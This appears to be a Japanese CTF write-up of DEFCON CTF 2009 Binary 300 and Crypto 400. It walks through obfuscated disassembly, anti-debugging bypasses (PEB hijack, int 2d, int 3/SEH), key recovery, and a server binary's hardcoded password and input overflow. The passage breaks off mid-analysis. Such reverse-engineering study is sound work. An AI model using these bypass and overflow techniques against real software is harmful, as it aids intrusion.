DEFCON CTF 2009 Binary 300
The answer is the 16 byte decryption key used in the file linked here.
Enter in the form: \xaa\xbb\xcc...
http://shallweplayaga.me/binary/4b2c8b145e30208d00d7ddebd7034560
リンクにあるファイルに使われている16バイトの復号鍵(\xaa\xbb\xcc...)を答えよ
という問題文と共にバイナリファイルが渡される
$ file 4b2c8b145e30208d00d7ddebd7034560 4b2c8b145e30208d00d7ddebd7034560: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
PEフォーマット、つまりWindowsの実行ファイル
IDAPro、OllyDbg(WinDbg)を使って解析していく
まず普通に実行するとhelloworld.txtというファイルが作成される
ファイルの中身は"Hello world!"だけ
次にOllyDbg上で実行すると、例外で終了する(helloworld.txtは作成されない)
どうやらアンチデバッグ技術が使われている
.text:0040110A start proc near .text:0040110A push ebp .text:0040110B mov ebp, esp .text:0040110D sub esp, 1Ch ; dwExitCode .text:00401110 mov esi, 28F9h .text:00401115 call ds:GetCommandLineA .text:0040111B mov esi, eax .text:0040111D sub ebx, esi .text:0040111F add eax, 54B5h .text:00401125 lea edi, byte_4146C9 .text:0040112B xor esi, 5317h .text:00401131 mov esi, offset sub_4010AC .text:00401136 call esi ; sub_4010AC .text:00401138 call ds:ExitThread .text:0040113E retn
ポイントはExitThreadの直前で呼ばれているsub_4010AC関数
.text:004010AC sub_4010AC proc near .text:004010AC var_4 = dword ptr -4 .text:004010AC .text:004010AC lea edx, [edx] .text:004010AE jmp short loc_4010B2 .text:004010B0 db 75h, 0Fh .text:004010B2 loc_4010B2: .text:004010B2 mov ecx, 30h .text:004010B7 jmp short loc_4010BB .text:004010B9 jnz short loc_4010C5 .text:004010BB loc_4010BB: .text:004010BB jmp short loc_4010BF .text:004010BD jz short loc_4010F1 .text:004010BF loc_4010BF: .text:004010BF mov eax, fs:[ecx] .text:004010C2 add bh, 0 .text:004010C5 loc_4010C5: .text:004010C5 mov bl, al .text:004010C7 mov edx, 20h .text:004010CC jmp short loc_4010D0 .text:004010CE pop es .text:004010CF sahf .text:004010D0 loc_4010D0: .text:004010D0 jmp short loc_4010D4 .text:004010D2 dw 4375h .text:004010D4 loc_4010D4: .text:004010D4 add eax, edx .text:004010D6 add bl, cl .text:004010D8 jmp short loc_4010DC .text:004010DA jnz short start .text:004010DC loc_4010DC: .text:004010DC push offset loc_46367F .text:004010E1 mov edx, [esp+4+var_4] .text:004010E4 add esp, 4 .text:004010E7 jmp short loc_4010EB .text:004010E9 jnz short loc_4010F1 .text:004010EB loc_4010EB: .text:004010EB jmp short loc_4010EF .text:004010ED db 0D2h, 84h .text:004010EF loc_4010EF: .text:004010EF mov ecx, [eax] .text:004010F1 loc_4010F1: .text:004010F1 jmp short loc_4010F4 .text:004010F3 push edx .text:004010F4 loc_4010F4: .text:004010F4 add bh, bl .text:004010F6 mov ds:4EFFEAh, ecx .text:004010FC not ebx .text:004010FE mov [eax], edx .text:00401100 jmp short loc_401104 .text:00401102 dw 0E74h .text:00401104 loc_401104: .text:00401104 add bh, bl .text:00401106 retn
良い感じに難読化されている
jmpを削って難読化を解くと以下になる
.text:004010AC sub_4010AC proc near .text:004010AC var_4 = dword ptr -4 .text:004010AC .text:004010AC lea edx, [edx] .text:004010AE .text:004010B0 .text:004010B2 .text:004010B2 mov ecx, 30h .text:004010B7 .text:004010B9 .text:004010BB .text:004010BB .text:004010BD .text:004010BF .text:004010BF mov eax, fs:[ecx] .text:004010C2 add bh, 0 .text:004010C5 .text:004010C5 mov bl, al .text:004010C7 mov edx, 20h .text:004010CC .text:004010CE .text:004010CF .text:004010D0 .text:004010D0 .text:004010D2 .text:004010D4 .text:004010D4 add eax, edx .text:004010D6 add bl, cl .text:004010D8 .text:004010DA .text:004010DC .text:004010DC push offset loc_46367F .text:004010E1 mov edx, [esp+4+var_4] .text:004010E4 add esp, 4 .text:004010E7 .text:004010E9 .text:004010EB .text:004010EB .text:004010ED .text:004010EF .text:004010EF mov ecx, [eax] .text:004010F1 .text:004010F1 .text:004010F3 .text:004010F4 .text:004010F4 add bh, bl .text:004010F6 mov ds:4EFFEAh, ecx .text:004010FC not ebx .text:004010FE mov [eax], edx .text:00401100 .text:00401102 .text:00401104 .text:00401104 add bh, bl .text:00401106 retn
さらに読みやすく
.text:004010AC sub_4010AC proc near .text:004010AC var_4 = dword ptr -4 .text:004010AC .text:004010AC lea edx, [edx] .text:004010B2 mov ecx, 30h .text:004010BF mov eax, fs:[ecx] // eax = fs:[30] .text:004010C2 add bh, 0 .text:004010C5 mov bl, al .text:004010C7 mov edx, 20h // edx = 20h .text:004010D4 add eax, edx // eax += edx(20h) .text:004010D6 add bl, cl .text:004010DC push offset loc_46367F // .text:004010E1 mov edx, [esp+4+var_4] // .text:004010E4 add esp, 4 // edx = loc_46367F .text:004010EF mov ecx, [eax] // ecx = [eax] .text:004010F4 add bh, bl .text:004010F6 mov ds:4EFFEAh, ecx // ds:4EFFEAh = ecx .text:004010FC not ebx .text:004010FE mov [eax], edx // [eax] = edx .text:00401104 add bh, bl .text:00401106 retn
途中にebx(bl, bh, etc...)を操作する命令が入っているが、
これらは無意味なコード(難読化の一種?)であるため無視する
結果的にsub_4010ACの処理は以下の2行のみとなる
ds:4EFFEAh = *(fs:[30] + 20h); (fs:[30] + 20h) = loc_46367F;
つまりfs:[30] + 20hのバックアップをds:4EFFEAhに置き、
fs:[30] + 20hをloc_46367Fで上書きする
OllyDbgにて004010FEにブレイクポイントをセット → 実行
その時点でのレジストリは以下
EAX 7FFDF020 <- ECX 7C941000 ntdll.RtlEnterCriticalSection EDX 0046367F <- EBX 800AFECF ESP 0006FFA0 EBP 0006FFC0 ESI 004010AC 4b2c8b14.004010AC EDI 004146C9 4b2c8b14.004146C9 EIP 004010FE 4b2c8b14.004010FE C 1 ES 0023 32bit 0(FFFFFFFF) P 0 CS 001B 32bit 0(FFFFFFFF) A 0 SS 0023 32bit 0(FFFFFFFF) Z 0 DS 0023 32bit 0(FFFFFFFF) S 0 FS 003B 32bit 7FFDE000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_FILE_NOT_FOUND (00000002)
eaxの指すアドレスを参照する
7FFDF020 00 10 94 7C E0 10 94 7C 01 00 00 00 70 29 CF 77 7FFDF030 00 00 00 00
00 10 94 7C、つまり7C941000となっている
これをedx、つまり0046367Fに変更する
となると問題は、変更前の値(7C941000)と変更後の値(0046367F)
これ以降、00401138でExitThreadが呼ばれることを考えると
これらの値はExitThread内部で使われると考えられる
ちなみに変更前の値(7C941000)は、RtlEnterCriticalSectionのアドレス
つまり、この変更により
ExitThread内部でRtlEnterCriticalSectionが呼ばれるはずのところで
変更後の値(0046367F)が呼ばれることになる
.text:0046367F loc_46367F: .text:0046367F add bh, bl .text:00463681 or ecx, ecx .text:00463683 stc .text:00463684 pop eax .text:00463685 .text:00463685 loc_463685: .text:00463685 xor ebx, ebx .text:00463687 inc eax .text:00463688 jmp short loc_46368B .text:00463688 .text:0046368A db 1Dh .text:0046368B .text:0046368B loc_46368B: .text:0046368B mov edx, [eax] .text:0046368D sub al, 0 .text:0046368F and edx, 0FFFFh .text:00463695 jmp short loc_463699 .text:00463695 .text:00463697 db 60h .text:00463698 db 72h .text:00463699 .text:00463699 loc_463699: .text:00463699 xor edx, 337Fh .text:0046369F mov al, al .text:004636A1 xor edx, 0E280h .text:004636A7 jnz short loc_463685 .text:004636A9 not bh .text:004636AB sar edi, 0 .text:004636AE mov ecx, offset unk_4636B8 .text:004636B3 call eax
004636B3にブレイクポイントをセットしてeaxとecxを確認
EAX 7C95310C ntdll.7C95310C <- ECX 004636B8 4b2c8b14.004636B8 <- EDX 00000000 EBX 0000FF00 ESP 0006FE1C EBP 0006FE58 ESI 7FFDE000 EDI 00000000 EIP 7C95310C ntdll.7C95310C C 0 ES 0023 32bit 0(FFFFFFFF) P 1 CS 001B 32bit 0(FFFFFFFF) A 0 SS 0023 32bit 0(FFFFFFFF) Z 1 DS 0023 32bit 0(FFFFFFFF) S 0 FS 003B 32bit 7FFDE000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_FILE_NOT_FOUND (00000002
call eaxでジャンプする先の7C95310Cの命令は以下
7C95310C ? FFD1 CALL ECX
call ecxなので結果的に004636B8へ進む
.text:004636B8 loc_4636B8: .text:004636B8 pop ebp .text:004636B9 mov esp, esp .text:004636BB xchg eax, ebx .text:004636BC xchg eax, ebx .text:004636BD mov eax, large fs:30h .text:004636C3 add eax, 20h .text:004636C6 mov ebx, ds:4EFFEAh .text:004636CC mov [eax], ebx ########################################################### ################## *(fs:[30] + 20h) = ds:4EFFEAh ########################################################### .text:004636CE jmp short loc_4636D2 .text:004636CE .text:004636D0 db 74h, 32h .text:004636D2 .text:004636D2 loc_4636D2: .text:004636D2 push 4EFFCAh .text:004636D7 mov eax, eax .text:004636D9 push 40h .text:004636DE lea ecx, [ecx] .text:004636E0 push 776h .text:004636E5 not bh .text:004636E7 push 463631h .text:004636EC jmp short loc_4636F0 .text:004636EC .text:004636EE dw 10EFh .text:004636F0 .text:004636F0 loc_4636F0: .text:004636F0 xor eax, eax .text:004636F2 mov edx, offset VirtualProtect .text:004636F7 add eax, edx .text:004636F9 add ebx, ecx .text:004636FB call dword ptr [eax] ########################################################### ################## VirtualProtect(463631h, 776h, 40h, 4EFFCAh) ########################################################### .text:004636FD mov bl, al .text:004636FF mov al, 6Dh .text:00463701 mov al, bl .text:00463703 mov edx, 125h .text:00463708 jmp short loc_46370B .text:00463708 .text:0046370A db 15h .text:0046370B .text:0046370B loc_46370B: .text:0046370B mov ecx, ds:4EFFCAh .text:00463711 mov eax, 46372Ah .text:00463716 .text:00463716 loc_463716: .text:00463716 jmp short loc_46371A .text:00463716 .text:00463718 db 74h, 12h .text:0046371A .text:0046371A loc_46371A: .text:0046371A xor [eax+edx], cl .text:0046371D not cl .text:0046371F not cl .text:00463721 add byte ptr [eax+edx], 97h .text:00463725 sar ebx, 77h .text:00463728 dec edx .text:00463729 .text:00463729 loc_463729: .text:00463729 jnz short loc_463716 ########################################################### ################## for(edx=125h; edx != 0; edx--){ ################## 46372Ah[edx] ^= cl ################## 46372Ah[edx] += 97h ################## } ########################################################### .text:0046372B jz short loc_463778
fs:[30] + 20hの値を元に戻し、VirtualProtectでメモリアクセス制限を解除
そして0046372B以降のコードを自己書き換え
0046372B EB 02 JMP SHORT 4b2c8b14.0046372F 0046372D 75 34 JNZ SHORT 4b2c8b14.00463763 0046372F 09C0 OR EAX,EAX 00463731 8D09 LEA ECX,DWORD PTR DS:[ECX] 00463733 C1FF 00 SAR EDI,0 00463736 68 52374600 PUSH 4b2c8b14.00463752 0046373B 33C0 XOR EAX,EAX 0046373D 64:FF30 PUSH DWORD PTR FS:[EAX] 00463740 64:8920 MOV DWORD PTR FS:[EAX],ESP 00463743 EB 01 JMP SHORT 4b2c8b14.00463746 00463745 90 NOP 00463746 FECB DEC BL 00463748 CD 2D INT 2D 0046374A 67:62FA BOUND EDI,EDX 0046374D B5 66 MOV CH,66 0046374F FA CLI 00463750 AB STOS DWORD PTR ES:[EDI] 00463751 90 NOP 00463752 8AD8 MOV BL,AL 00463754 8AC3 MOV AL,BL 00463756 8B5424 04 MOV EDX,DWORD PTR SS:[ESP+4]
00463748にてint 2dアンチデバッグテクニックを使っている
int 2dアンチデバッグテクニックのフォーマットは以下
push offset _seh push fs:[0] mov fs:[0], esp int 2dh // debugger detected _seh: // debugger not detected
- デバッガを検知しなかった時に進むアドレスをスタックへ積む
- fs:[0]の値をスタックへ積む
- fs:[0]をesp(スタックトップ)に変更
- int 2dh呼び出し
検知した場合はint 2dhのすぐ下の命令が実行され、
検知しなかった場合はスタックへ積んだアドレス以降が実行される
この問題の場合は、
デバッガを検知した場合は0046374AのBOUND EDI,EDXという命令が実行され
検知しなかった場合はスタックへ積まれている00463752以降が実行される
00463752 8AD8 MOV BL,AL 00463754 8AC3 MOV AL,BL 00463756 8B5424 04 MOV EDX,DWORD PTR SS:[ESP+4] 0046375A EB 02 JMP SHORT 4b2c8b14.0046375E 0046375C 90 NOP 0046375D 90 NOP 0046375E 8B12 MOV EDX,DWORD PTR DS:[EDX] 00463760 C1E1 00 SHL ECX,0 00463763 F7D2 NOT EDX 00463765 21C3 AND EBX,EAX 00463767 C1EA 16 SHR EDX,16 0046376A EB 02 JMP SHORT 4b2c8b14.0046376E 0046376C 90 NOP 0046376D 90 NOP 0046376E C1CA 16 ROR EDX,16 00463771 EB 02 JMP SHORT 4b2c8b14.00463775 00463773 90 NOP 00463774 90 NOP 00463775 F7D2 NOT EDX 00463777 FECB DEC BL 00463779 8BC4 MOV EAX,ESP 0046377B EB 02 JMP SHORT 4b2c8b14.0046377F 0046377D 90 NOP 0046377E 90 NOP 0046377F 83C0 18 ADD EAX,18 00463782 BB 6534BEFF MOV EBX,FFBE3465 00463787 33DA XOR EBX,EDX 00463789 8918 MOV DWORD PTR DS:[EAX],EBX 0046378B EB 02 JMP SHORT 4b2c8b14.0046378F 0046378D 90 NOP 0046378E 90 NOP 0046378F 8AC0 MOV AL,AL 00463791 CC INT3
今度はint 3hを使ったアンチデバッグ
無駄なコードを削除すると以下のようになる
00463752 8AD8 MOV BL,AL 00463754 8AC3 MOV AL,BL 00463756 8B5424 04 MOV EDX,DWORD PTR SS:[ESP+4] 0046375E 8B12 MOV EDX,DWORD PTR DS:[EDX] 00463763 F7D2 NOT EDX 00463767 C1EA 16 SHR EDX,16 0046376E C1CA 16 ROR EDX,16 00463775 F7D2 NOT EDX 00463779 8BC4 MOV EAX,ESP 0046377F 83C0 18 ADD EAX,18 00463782 BB 6534BEFF MOV EBX,FFBE3465 00463787 33DA XOR EBX,EDX 00463789 8918 MOV DWORD PTR DS:[EAX],EBX 00463791 CC INT3
00463756に処理が来た時のスタックの状態は以下
0006FE14 0006FE48 Pointer to next SEH record 0006FE18 00463752 SE handler
アドレス00463752にある値は8AD88AC3であるため
edxには8AD88AC3が格納され、NOT、SHR、RORなどが実行され、
アドレス00463789の時点でeax=esp+18h、ebx=00420F9Aとなる
つまり[esp+18h]に00420F9Aが格納される
int 3hは例外であるため、fs:[0](seh)に登録されたSE handlerが再び呼ばれる
fs:[0]に変更は無いため、再び00463752へ戻る
今度はスタックの状態が以下のようになっている
0006FA40 7C9432A8 RETURN to ntdll.7C9432A8 0006FA44 0006FB28 0006FA48 0006FE14 0006FA4C 0006FB48 0006FA50 0006FAFC 0006FA54 0006FE14 Pointer to next SEH record 0006FA58 7C9432BC SE handler 0006FA5C 0006FE14
さらにfs:[0]は0006FA54になっている
つまりesp+18h(0006FA58)に00420F9Aを入れるとint 3h呼び出し時に
00420F9Aへ処理が飛ぶ
SEHに関する詳細はこちらが詳しい
http://programming.jugglershu.net/study/seh.html
0046379A EB 02 JMP SHORT 4b2c8b14.0046379E 0046379C 90 NOP 0046379D 90 NOP 0046379E 8BC4 MOV EAX,ESP 004637A0 80F7 E0 XOR BH,0E0 004637A3 83C0 24 ADD EAX,24 004637A6 EB 02 JMP SHORT 4b2c8b14.004637AA 004637A8 90 NOP 004637A9 90 NOP 004637AA BB C9374600 MOV EBX,4b2c8b14.004637C9 004637AF 8918 MOV DWORD PTR DS:[EAX],EBX 004637B1 03D8 ADD EBX,EAX 004637B3 8B4424 0C MOV EAX,DWORD PTR SS:[ESP+C] 004637B7 8990 B8000000 MOV DWORD PTR DS:[EAX+B8],EDX 004637BD 33C0 XOR EAX,EAX 004637BF C3 RETN
0046379A以降にアンチデバッグ処理は無いため
この状態でF9(実行)するとデバッガ上でもhelloworld.txtが作成される
あとは単純にマシン語を解析していくだけだ
以降の解析は、int 2d以降の数バイトをNOPで埋めた状態で行う
00463748 CD 2D INT 2D 00463749 90 NOP 0046374A 90 NOP 0046374B 90 NOP 0046374C 90 NOP 0046374D 90 NOP 0046374E 90 NOP 0046374F 90 NOP 00463750 90 NOP 00463751 90 NOP
いよいよ0046379A以降の解析であり、実際の問題文にある16バイトの鍵を探していく
0046379Aまで処理を進めてから、OllyDbgのメニューからView → Run Traceを選択
実行命令トレースウィンドウを表示
続いてOllyDbgのメニューからDebug → Trace intoを選択
これで0046379A以降の処理命令をすべてログとして保存する(数十分ほどかかる)
ファイルにも出力できるのでお好みでどうぞ
Traceしたデータをファイルへ出力すると500MB弱のテキストファイルが出来上がる
$ ls -l rtrace.txt -rw-r--r-- 1 ubuntu ubuntu 486942599 2010-05-18 15:19 rtrace.txt $ cat rtrace.txt | more Address Thread Command ; Registers and comments 0046379E Main MOV EAX,ESP ; EAX=0006F66C 004637A0 Main XOR BH,0E0 ; EBX=0000E000 004637A3 Main ADD EAX,24 ; EAX=0006F690 004637A6 Main JMP SHORT 4b2c8b14.004637AA 004637AA Main MOV EBX,4b2c8b14.004637C9 ; EBX=004637C9 004637AF Main MOV DWORD PTR DS:[EAX],EBX 004637B1 Main ADD EBX,EAX ; EBX=004D2E59 004637B3 Main MOV EAX,DWORD PTR SS:[ESP+C] ; EAX=0006F774 004637B7 Main MOV DWORD PTR DS:[EAX+B8],EDX 004637BD Main XOR EAX,EAX ; EAX=00000000 004637BF Main RETN 7C9432A8 Main MOV ESP,DWORD PTR FS:[0] 7C9432AF Main POP DWORD PTR FS:[0] 7C9432B6 Main MOV ESP,EBP 7C9432B8 Main POP EBP ; EBP=0006F73C 7C9432B9 Main RETN 14 Hardware breakpoint 3 at 4b2c8b14.004637C9 ....
ログにはループ処理も回数分だけ含まれるため
実行したアドレス重複を排除する
$ cat del.rb #/usr/local/bin/ruby addrs = [] datas = [] fp = open("rtrace.txt") while line = fp.gets flag = 1 tmp = line.split(' ')[0] for n in 0 .. (addrs.length - 1) if(addrs[n] == tmp) flag = 0 break end end if(flag == 1) addrs.push(line.split(' ')[0]) datas.push(line) end end fp.close print datas.join("\x0a") $ ruby del.rb > data
この実行履歴の中から16(0x10)という値が使われている箇所を列挙する
$ strings data | grep ",10" 004A91D6 Main ADD ESP,10 004A966F Main MOV ECX,10 ; ECX=00000010 004A959C Main MOV EBX,1000 ; EBX=00001000 ZwUnmapViewOfSect>MOV EAX,10B ; EAX=0000010B 7C94FBD7 Main SHL EAX,10 009103E3 Main CMP EAX,10 7C80E611 Main TEST BYTE PTR DS:[EAX+9],10 7C954A5C Main SHL EAX,10 ; EAX=07D00000 7C955B46 Main TEST BYTE PTR DS:[EAX+9],10 7C9556A8 Main IMUL EDX,EDX,1003F 7C956778 Main TEST BYTE PTR DS:[EAX+37],10 7C955F3F Main TEST BYTE PTR DS:[ESI+37],10 7C952D2D Main SHR ECX,10 ; ECX=000007D0 7C9502E0 Main CMP EDX,10000000 7C95034A Main CMP CX,10B 7C8104A7 Main MOV DWORD PTR DS:[EAX],10007 7C952D8D Main SHL ECX,10 ; ECX=000C0000 7C9411CE Main OR DWORD PTR DS:[EAX+10],10
あとはこれらを順番にOllyDbgで確認する
最初の004A91D6はESPへの加算なのでおそらく関係ないだろう
次の004A966FはECXへの代入なので関係がありそうだ
004A966F辺りの命令は暗号化されており、
実行中に復号されるためソフトウェアブレイクだと上書きされる
よって004A966Fにハードウェアブレイクポイントをセットして実行する
(↓暗号化されているがハードウェアブレイクポイントをセット) 004A966F F69E B5B4B345 NEG BYTE PTR DS:[ESI+45B3B4B5] 004A9675 FD STD
004A966Fで処理が止まると以下のように復号されている
004A966F B9 10000000 MOV ECX,10 004A9674 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
16バイトのデータをコピーしている
esiの指す値を参照する
EAX 003E0000 ECX 7C809B49 kernel32.7C809B49 EDX 7C94E4F4 ntdll.KiFastSystemCallRet EBX 7C809B02 kernel32.VirtualAllocEx ESP 0006F694 EBP 0006F69C ESI 004A9658 4b2c8b14.004A9658 <- EDI 003E000C EIP 004A966F 4b2c8b14.004A966F
004A9658のメモリ空間を見る
004A9658 87 D3 4E 03 34 EE 56 87 1E 4C 86 67 1B 05 23 15 004A9668 8B 7D FC 83 C7 0C 5E B9 10 00 00 00 F3 A4 6A 04
"87 D3 4E 03 34 EE 56 87 1E 4C 86 67 1B 05 23 15"となっている
問題文にパスワードは\xaa\xbb\xcc...と書かれてあるので
"\x87\xd3\x4e\x03\x34\xee\x56\x87\x1e\x4c\x86\x67\x1b\x05\x23\x15"が答え?
ということで解答フォームに入力してみると、無事正解となった
ちなみに実際に解答のデータ(鍵)を使用して復号しているのは009103E3辺りのコード
0046379A以降の処理を丁寧に読んでいくことで解答が得られる
DEFCON CTF 2009 Crypto 400
pwn11.ddtek.biz
http://shallweplayaga.me/crypto/eb24fae687eaa7d4441e727cf892beac
サーバ名(pwn11.ddtek.biz)と、バイナリが配布される
配布されるバイナリ(実行ファイル)が上記サーバで動いているので
実行ファイルを解析して上記サーバへ攻撃し、パスワードを得よ、という問題
$ file eb24fae687eaa7d4441e727cf892beac eb24fae687eaa7d4441e727cf892beac: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 7.2, dynamically linked (uses shared libs), FreeBSD-style, stripped
strippedされているが、コードがDEFCON CTF 2009 Pwtent 300と酷似しているため
サーバ処理部分は難なく理解できる
実行するとポート7852が開く
ncでアクセス
$ ./eb24fae687eaa7d4441e727cf892beac & $ nc localhost 7852 Password: AAAA
何かの入力を得て終了する
パスワードが何かを調べるためIDAProで解析
まず文字列"Password:"の参照元を探す
.text:080497D0 mov dword ptr [esp+4], offset aPassword ; "Password: " .text:080497D8 mov eax, [ebp+arg_0]
上記の部分からのみ参照されている
下へ降りていくと以下のコードが見つかる
.text:08049816 mov dword ptr [esp+8], 0Eh .text:0804981E mov dword ptr [esp+4], offset s2 ; "chickenfingers" .text:08049826 lea eax, [ebp+s1] .text:08049829 mov [esp], eax .text:0804982C call _strncmp
"chickenfingers"がパスワード?
$ nc localhost 7852 Password: chickenfingers What is your name? oops!
少し進んだ
次に"oops!"文字列の参照元を探る
.text:08049A53 mov dword ptr [esp+4], offset aOops ; "oops!\n" .text:08049A5B mov eax, [ebp+arg_0]
呼び出し元(ジャンプ元)を辿ると以下のコードが見つかる
.text:0804993B mov dword ptr [esp+4], offset modes ; "r" .text:08049943 mov dword ptr [esp], offset filename ; "plaintext" .text:0804994A call _fopen .text:0804994F mov [ebp+stream], eax .text:08049952 cmp [ebp+stream], 0 .text:08049956 jz loc_8049A4B .text:0804995C mov edx, [ebp+ptr] .text:0804995F mov eax, [ebp+stream] .text:08049962 mov [esp+0Ch], eax .text:08049966 mov dword ptr [esp+8], 20h .text:0804996E mov dword ptr [esp+4], 1 .text:08049976 mov [esp], edx .text:08049979 call _fread .text:0804997E mov edx, eax .text:08049980 mov eax, [ebp+ptr] .text:08049983 mov [eax+20h], edx .text:08049986 mov eax, [ebp+stream] .text:08049989 mov [esp], eax .text:0804998C call _fclose
plaintextというファイルをfopenして、20hバイトfreadして、fcloseする
適当なplaintextファイルを用意して再度実行
$ cat plaintext AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH $ ./eb24fae687eaa7d4441e727cf892beac & $ nc localhost 7852 Password: chickenfingers What is your name? test Welcome test :: Your challenge is to decode the following hex encoded string: a1dd32dc471d11d42a5f15d16e297ae7c4da2ed2723d770882edade473c8242a Good luck!
いよいよ本題に突入
以下のhexデータをデコードしろ、と言われる
a1dd32dc471d11d42a5f15d16e297ae7c4da2ed2723d770882edade473c8242a
おそらく上記のhexデータをデコードするとplaintextファイル内のデータ
"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"が取得できると思われる
つまり最終的なパスワードは、pwn11.ddtek.bizサーバ上にあるplaintextの中身
エンコードのアルゴリズムを解析し、デコーダを作成するのが今回の問題
080497C0以降の処理を解析し、エンコード処理をコード化する
.text:080497C0 sub_80497C0 proc near .text:080497C0 .text:080497C0 var_3C = dword ptr -3Ch .text:080497C0 s1 = byte ptr -37h .text:080497C0 var_29 = byte ptr -29h .text:080497C0 var_25 = byte ptr -25h .text:080497C0 ptr = dword ptr -24h .text:080497C0 fd = dword ptr -20h .text:080497C0 var_1C = dword ptr -1Ch .text:080497C0 stream = dword ptr -18h .text:080497C0 var_14 = dword ptr -14h .text:080497C0 var_10 = dword ptr -10h .text:080497C0 var_C = dword ptr -0Ch .text:080497C0 arg_0 = dword ptr 8 .text:080497C0 .text:080497C0 push ebp .text:080497C1 mov ebp, esp .text:080497C3 push esi .text:080497C4 push ebx .text:080497C5 sub esp, 50h .text:080497C8 mov dword ptr [esp+8], 0 .text:080497D0 mov dword ptr [esp+4], offset aPassword ; "Password: " .text:080497D8 mov eax, [ebp+arg_0] .text:080497DB mov [esp], eax .text:080497DE call str_send .text:080497E3 mov dword ptr [esp+0Ch], 0Ah .text:080497EB mov dword ptr [esp+8], 11h .text:080497F3 lea eax, [ebp+s1] .text:080497F6 mov [esp+4], eax .text:080497FA mov eax, [ebp+arg_0] .text:080497FD mov [esp], eax .text:08049800 call recv_data ; recv_data(sock, s1, 0x11, 0x0a);
"Password: "という文字列をクライアントへ送信し、データをrecvする
recvするデータは0x11バイト or 0x0a(改行)が出現するまで
またrecvする際、格納先のs1(var_37)はオーバーフローしており、var_29を侵食する
0x37 - 0x11 = 0x26であり、var_29以降3バイト(var_29 var_28 var_27)を書き換える
.text:08049805 mov [ebp+var_1C], eax .text:08049808 cmp [ebp+var_1C], 0 .text:0804980C jle short loc_804986A .text:0804980E mov eax, [ebp+var_1C] .text:08049811 mov [ebp+eax+s1], 0 .text:08049816 mov dword ptr [esp+8], 0Eh .text:0804981E mov dword ptr [esp+4], offset s2 ; "chickenfingers" .text:08049826 lea eax, [ebp+s1] .text:08049829 mov [esp], eax .text:0804982C call _strncmp ; strncmp(s1, "chickenfingers", 0x0E); .text:08049831 test eax, eax .text:08049833 jz short loc_8049841 .text:08049835 mov [ebp+var_3C], 0 .text:0804983C jmp loc_8049A78 .text:08049841
s1と"chickenfingers"との比較、正しくなければプログラム終了
.text:08049841 loc_8049841: .text:08049841 movzx eax, [ebp+var_29] .text:08049845 and eax, 1 .text:08049848 mov [ebp+var_25], al .text:0804984B mov dword ptr [esp+4], 0 .text:08049853 mov dword ptr [esp], offset file ; "/dev/urandom" .text:0804985A call _open .text:0804985F mov [ebp+fd], eax .text:08049862 cmp [ebp+var_25], 0 .text:08049866 jnz short loc_8049876 .text:08049868 jmp short loc_80498D3
/dev/uramdomを開く
var_29の最下位ビットが1or0でvar_25の値が変わり、var_25の値によって処理が分岐
var_29の値はs1をオーバーフローさせることで任意の値にできるため
実質クライアント側で操作可能
最下位ビットが1ならmallocで4Chバイト確保、0なら3Chバイト確保
コードを読んでいくと分かるが、
これは1文字を2バイトとして扱うか? 1バイトとして扱うか? のフラグ
.text:0804986A .text:0804986A loc_804986A: .text:0804986A mov [ebp+var_3C], 0 .text:08049871 jmp loc_8049A78 .text:08049876 .text:08049876 loc_8049876: .text:08049876 mov dword ptr [esp], 4Ch .text:0804987D call _malloc ; eax = malloc(0x4C); .text:08049882 mov [ebp+var_14], eax .text:08049885 mov eax, [ebp+var_14] .text:08049888 add eax, 44h .text:0804988B mov dword ptr [esp+8], 5 .text:08049893 mov [esp+4], eax .text:08049897 mov eax, [ebp+fd] .text:0804989A mov [esp], eax .text:0804989D call _read ; memcpy(eax + 0x44, rand(), 5); .text:080498A2 mov eax, [ebp+var_14] .text:080498A5 add eax, 44h .text:080498A8 mov dword ptr [esp+4], 5 .text:080498B0 mov [esp], eax .text:080498B3 call sub_8049350 .text:080498B8 mov eax, [ebp+var_14] .text:080498BB mov [ebp+ptr], eax .text:080498BE mov dword ptr [esp+4], offset aWhatIsYourName ; "What is your name? " .text:080498C6 mov eax, [ebp+arg_0] .text:080498C9 mov [esp], eax .text:080498CC call unicode_send .text:080498D1 jmp short loc_8049930
4Ch確保した場合、44h番目以降に5バイトの乱数を置く
.text:080498D3 .text:080498D3 loc_80498D3: .text:080498D3 mov dword ptr [esp], 3Ch .text:080498DA call _malloc .text:080498DF mov [ebp+ptr], eax .text:080498E2 mov eax, [ebp+ptr] .text:080498E5 add eax, 34h .text:080498E8 mov dword ptr [esp+8], 5 .text:080498F0 mov [esp+4], eax .text:080498F4 mov eax, [ebp+fd] .text:080498F7 mov [esp], eax .text:080498FA call _read .text:080498FF mov eax, [ebp+ptr] .text:08049902 add eax, 34h .text:08049905 mov dword ptr [esp+4], 5 .text:0804990D mov [esp], eax .text:08049910 call sub_8049350 .text:08049915 mov dword ptr [esp+8], 0 .text:0804991D mov dword ptr [esp+4], offset aWhatIsYourName ; "What is your name? " .text:08049925 mov eax, [ebp+arg_0] .text:08049928 mov [esp], eax .text:0804992B call str_send .text:08049930
3Ch確保した場合、34h番目以降に5バイトの乱数を置く
途中に呼び出されている関数sub_8049350は乱数からテーブルを生成するコード
.text:08049350 sub_8049350 proc near .text:08049350 .text:08049350 var_8 = dword ptr -8 .text:08049350 var_1 = byte ptr -1 .text:08049350 arg_0 = dword ptr 8 .text:08049350 arg_4 = dword ptr 0Ch .text:08049350 .text:08049350 push ebp .text:08049351 mov ebp, esp .text:08049353 sub esp, 10h .text:08049356 mov ds:byte_804AEE0, 0 .text:0804935D mov [ebp+var_8], 0 .text:08049364 jmp short loc_8049376 ########################################################### ################## ds:byte_804AEE0 = 0; ################## var_8 = 0; ################## goto loc_8049376; ########################################################### .text:08049366 .text:08049366 loc_8049366: .text:08049366 mov eax, [ebp+var_8] .text:08049369 mov edx, [ebp+var_8] .text:0804936C mov ds:byte_804AF00[eax], dl .text:08049372 add [ebp+var_8], 1 ########################################################### ################## ds:byte_804AF00[var_8] = var_8; ################## var_8++; ########################################################### .text:08049376 .text:08049376 loc_8049376: .text:08049376 cmp [ebp+var_8], 0FFh .text:0804937D jbe short loc_8049366 .text:0804937F mov [ebp+var_8], 0 .text:08049386 jmp short 